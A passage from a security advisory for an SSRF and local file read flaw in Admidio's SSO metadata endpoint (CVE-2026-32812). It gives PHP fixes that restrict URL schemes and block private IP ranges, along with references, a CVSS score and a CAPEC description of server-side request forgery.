justifying the S:C score.\n\n## Recommended Fix\n\n### Fix 1: Restrict to HTTPS scheme and block internal IP ranges\n\n```php\n$rawUrl = $_GET[\u0027url\u0027] ?? \u0027\u0027;\n\n// Only allow https:// scheme\nif (\\!preg_match(\u0027#^https://#i\u0027, $rawUrl)) {\n    http_response_code(400);\n    echo \"Only HTTPS URLs are permitted\";\n    exit;\n}\n\n$url = filter_var($rawUrl, FILTER_VALIDATE_URL);\nif (\\!$url) {\n    http_response_code(400);\n    echo \"Invalid URL\";\n    exit;\n}\n\n// Resolve hostname and block internal/private IP ranges\n$host = parse_url($url, PHP_URL_HOST);\n$ip = gethostbyname($host);\nif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {\n    http_response_code(400);\n    echo \"URL resolves to a private or reserved IP address\";\n    exit;\n}\n\n$metadata = file_get_contents($url);\n```\n\n### Fix 2: Use cURL with explicit scheme restriction\n\n```php\n$ch = curl_init($url);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\ncurl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\ncurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n$metadata = curl_exec($ch);\ncurl_close($ch);\n```\n\nNote: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.",
  "id": "GHSA-6j68-gcc3-mq73",
  "modified": "2026-03-20T21:19:19Z",
  "published": "2026-03-16T21:17:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-6j68-gcc3-mq73"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32812"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list